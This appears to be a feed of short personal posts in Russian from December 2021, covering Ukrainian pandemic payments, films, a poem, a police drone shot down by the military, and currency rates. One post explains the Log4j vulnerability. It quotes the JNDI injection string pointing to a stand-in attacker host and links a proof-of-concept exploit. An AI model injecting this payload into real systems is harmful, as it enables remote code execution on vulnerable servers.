Как USPS отправлял-отправлял посылку да не выотправил

Второй раз сталкиваюсь с ебучей логистикой в штатах. И это не какие-то стрёмные посредники, это прям международная (читай дорогая) доставка.

Стало понятно как будут раздавать вертолётные 1000 грн #znkpq.
Открываешь спец. карту в своём банке, в приложении Дiя указываешь её реквизиты (опция должна стать доступной с 19 декабря, если конечно же привит).
По МСС банк будет определять можно проводить транзакцию или нет.
https://minfin.com.ua/2021/12/10/76989108/

--
Открыл счёт в Альфе. Жду 19 декабря.

Уязвимость в Apache Log4j, затрагивающая многие Java-проекты
https://www.opennet.ru/open.../art.shtml?num=56319

проблеме подвержены почти все проекты, использующие такие фреймворки, как Apache Struts, Apache Solr, Apache Druid или Apache Flink, включая Steam, Apple iCloud, клиенты и серверы игры Minecraft.

Проблема была вызвана тем, что log4j поддерживает обработку специальных масок "{}" в выводимых в лог строках, в которых могли выполняться запросы JNDI (Java Naming and Directory Interface). Атака сводится к передаче строки с подстановкой "${jndi:ldap://attacker.com/a}", при обработке которой log4j отправит на сервер attacker.com LDAP-запрос пути к Java-классу. Возвращённый сервером атакующего путь (например, http://second-stage.attacker.com/Exploit.class) будет загружен и выполнен в контексте текущего процесса, что позволяет атакующему добиться выполнения произвольного кода в системе с правами текущего приложения.

Эксплоит
https://github.com/tangxiaofeng7/apache-log4j-poc

--
Вот эту фичу с загрузкой классов и их выполнению всегда считал какой-то java-дичью.

всем, в детстве смотревшим волшебный школьный автобус, посвящается!

Проблемы современных родителей

Проблемы современных детей

"Иллюзия контроля" - норм кинчик.
На торентах нет. Пришлось в кинотеатр ехать.

Фильм вышел в 2021. Но первый "трейлер" появился ещё в 2017.

Закупился билетом на Матрицу.

Шествие омикрона
https://www.newsnodes.com/omicron_tracker/

https://i.imgur.com/K3uzWN9.mp4

Вечер как-то так

https://coub.com/view/2muocl

"Облачный атлас". Экранизация романа к которой просто нечем придраться. Разве что принципы корпократии в Нео Сеуле не раскрыты.

Вчера меня добавили в телего-группу, где оказалась почти половина моих одногруппников из универа. Что случилось? Умер кто-то. Других поводов для встреч у нас уже нет.

Она не была в Эмиратах,
Не видела Рим никогда
И вряд ли увидит когда-то:
Ей не с кем оставить кота.

Ей снится порой на рассвете
Родной её город - Чита.
Она и туда не поедет:
Ей не с кем оставить кота.

А боль, словно острая спица,
Засела в районе хребта...
Но как она ляжет в больницу?
Ей не с кем оставить кота.

Ей скоро уже девяносто -
Она доживет и до ста.
Секрет долголетья? Всё просто:
Ей не с кем оставить кота.

© Вера Бутко

Одесские полицейские лишились новенького мультикоптера DJI Matrice 300 RTK, который приобрели совсем недавно, в конце октября, почти за 1,5 млн грн.

Полицейские решили испытать дрон и пригласили для запуска специалистов из Киева. При этом место для пробного полета они выбрали явно неудачно, возле армейских складов с горючим. Уже через десять минут после пуска аппарат вдруг перестал выходить на связь.

Пока незадачливые «авиаторы» искали коптер, от военных в ГУНП поступил сигнал о неопознанном летательном объекте, реющем над складами.

Полицейские, не знающие об экзерсисах коллег, решили подключиться к охоте за вероятным воздушным шпионом. И даже объявили премию в две тысячи гривен за приземленный аппарат.

Однако к тому времени военные уже справились с задачей самостоятельно. Ситуация, знаете ли, напряженная, шпион — не шпион… Сказано – сделано, прибор был просто прострелен меткой очередью из автомата Калашникова.

Firefox заблочил расширение FVD Speed Dial.
У меня в нём все закладки по категориям рассортированы. Ну и как теперь работать?

Такого я ещё не видел. Курс купли и продажи валюты совпадает. В приложении та же история.
https://alfabank.ua/currency-exchange

Подозреваю, что ничего хорошего это не означает.